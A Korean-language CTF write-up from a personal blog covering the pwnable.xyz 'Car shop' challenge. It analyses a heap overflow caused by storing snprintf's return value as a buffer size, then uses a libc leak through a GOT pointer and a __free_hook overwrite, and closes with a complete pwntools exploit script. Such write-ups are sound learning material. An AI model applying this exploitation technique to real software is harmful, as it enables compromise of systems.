블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] Car shop
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] Car shop

728x90

 

1. 문제


1) mitigation 확인 

PIE가 안걸려 있긴 하지만 Full RELRO이기 때문에 got overwrite는 불가능하다 

 

 

2) 문제 확인 

1번 메뉴로 차를 구매할 수 있다. 차 종류는 10개이다. 2번 메뉴로 팔수도 있고 3번 메뉴로 모델명을 수정 가능하다. 마지막 4 번으로 구매했던 차들의 모델명들을 확인 가능하다 

 

 

 

3) 코드 확인 

  • buy() 함수
    int buy()
    {
      int result; // eax
      unsigned int i; // [rsp+8h] [rbp-20h]
      unsigned int v2; // [rsp+Ch] [rbp-1Ch]
      car *node; // [rsp+10h] [rbp-18h]
      car *car; // [rsp+18h] [rbp-10h]
    
      puts("Which car would you like to buy?");
      for ( i = 0; i <= 9; ++i )
        printf("%d: %s\n", i, makes[i]);
      printf("> ");
      v2 = readint();
      if ( (v2 & 0x80000000) != 0 || v2 > 9 )
        return puts("Invalid");
      car = (car *)malloc(0x20uLL);
      car->carname = (char *)malloc(0x10uLL);
      car->size = snprintf(car->carname, 0x10uLL, "%s", makes[v2]);
      car->next = 0LL;
      car->prev = 0LL;
      if ( Head )
      {
        for ( node = (car *)Head; node->next; node = node->next )
          ;
        node->next = car;
        result = (int)car;
        car->prev = node;
      }
      else
      {
        result = (int)car;
        Head = (__int64)car;
      }
      return result;
    }

    buy 함수의 구조는 이렇다. 보기 편하게 구조체를 선언해주었다. buy 함수는 그냥 구조체 구조만 알면 된다. 

     

    buy() 함수가 한번 호출될때 마다 위 사진처럼 청크가 생긴다. A청크에는 모델명이 담긴 청크의 주소와 사이즈가 들어간다. 그리고 next, prev 포인터가 있다. 즉 해당 포인터들은 이중연결리스트의 형태를 띈다. 만약 buy() 함수를 2번 호출한다면 

     

    이렇게 이중연결리스트로 연결된다. 

     

 

  • remodel() 함수
    void remodel()
    {
      car *car; // [rsp+8h] [rbp-20h]
      char *remodel_; // [rsp+10h] [rbp-18h]
      void *ptr; // [rsp+18h] [rbp-10h]
    
      printf("Which car would you like to remodel: ");
      remodel_ = (char *)readline();
      for ( car = (car *)Head; car; car = car->next )
      {
        if ( !strcmp(car->carname, remodel_) )
        {
          printf("Name your new model: ");
          ptr = readline();
          car->size = snprintf(car->carname, car->size, "%s", ptr);
          free(ptr);
          break;
        }
      }
      free(remodel_);
    }

    sell(), list() 함수들은 이중연결리스트에 입력한 모델을 삭제 및 전 모델 출력 하는 함수이기 떄문에 따로 설명은 안하겠다. 중요한 함수는 remodel() 함수이다. 구매한 모델명을 snprintf로 바꾸게 된다. 

 

 

2. 접근방법


buy() 함수로 ' BMW '를 구매하고, remodel() 함수를 통해 초기에 ' BMW ' 를 선택 하면 snprintf의 반환값은 3바이트이다. 따라서 size 멤버변수에 3이 들어가 있을 것이다.  

하지만 snprintf 호출시 car→carname에 복사되는 문자열의 사이즈는 3바이트 일지라도 snprintf의 반환값이 car→size에 다시 들어가게 되므로, 다음번 remodel() 함수가 호출될때, snprintf를통해 복사될수 있는 문자열은 이전 remodel 함수에서 ptr에 입력한 바이트 수만큼 복사될수 있다. 

 

위 상황이 방금 말한 상황이다. 초기에 bmw 는 3바이트 이기 때문에 size부분에 3이 들어가 있었지만, remodel() 함수에서 0x40크기의 'A를 입력했기 떄문에, 초기 3바이트 만큼(널포함 3바이트)만 실제 모델명 위치에 들어가고, size에는 0x40이 들어가게 된다.  

 

이를 이용하여 다음번 remodel() 함수 호출을 통해 힙영역을 침범할 수 있고, 두번째 차 모델명을 가리키고 있는 영역을 got 주소로 덮어버린뒤, 해당 got에 win함수를 넣으면 된다...라고 생각했지만 FUll RELRO이기 때문에 got overwrite는 불가능하다. 

 

따라서 방금말한 취약점을 이용하여 next node를 가리키고 있는 위치에 got를 넣고 4번 메뉴로 libc leak을 먼져 한뒤, 이를 이용해서 free_hook을 win으로 덮으면 끝이다. 

 

 

 

3. 풀이


최종익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30037)

p=process("./challenge")
libc=ELF("./alpine-libc-2.23.so")
gdb.attach(p,'code\nb *0xFB8+$code\n')

p.sendlineafter("> ","1")
p.sendlineafter("> ","0")

p.sendlineafter("> ","1")
p.sendlineafter("> ","1")

p.sendlineafter("> ","3")
p.sendlineafter("remodel: ","BMW")
p.sendlineafter("new model: ","A"*0x40)

p.sendlineafter("> ","3")
p.sendlineafter("remodel: ","AA")
p.sendlineafter("new model: ","A"*0x20+p64(0x601f98)+"A"*0x10)

p.sendlineafter("> ","4")
tmp=p.recvuntil("Menu")[-11:-5]
tmp=u64(tmp.ljust(8,"\x00"))
log.info(hex(tmp))

snprintf_off=libc.symbols['snprintf']
log.info("snrpintf_off ::"+hex(snprintf_off))
#libc_base=tmp-0x0558b0
libc_base=tmp-snprintf_off
log.info(hex(libc_base))
#free_hook=libc_base+0x3c67a8
free_hook=libc_base+libc.symbols['__free_hook']
p.sendlineafter("> ","3")
p.sendlineafter("remodel: ","A"*0x20+p64(0x601f98))
p.sendlineafter("new model: ","BMW")

p.sendlineafter("> ","3")
p.sendlineafter("remodel: ","BMW")
p.sendlineafter("new model: ","A"*0x40)

p.sendlineafter("> ","3")
p.sendlineafter("remodel: ","AA")
p.sendlineafter("new model: ","A"*0x20+p64(free_hook))


p.sendlineafter("> ","3")
p.sendlineafter("remodel: ",p64(0))
p.sendlineafter("new model: ",p32(0x400b4E))
p.interactive()

 

 

 

 

4. 몰랐던 개념


  • 코드좀 깔끔하게 짜야겠따. 귀찮아서 함수로 안만들었더니 너무 지저분하다..
  • 참고로 문제에서 주어진 libc로 해야지 remote로 플래그를 얻기 가능하고, 테스트 용으로 로컬에서 작업할 때에는, 주어진 libc로 하면 안된다.
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] door  (0) 2020.05.20
[pwnable.xyz] child  (0) 2020.05.19
[pwnable.xyz] words  (0) 2020.05.18
[pwnable.xyz] notebook  (0) 2020.05.17
[pwnable.xyz] nin  (0) 2020.05.16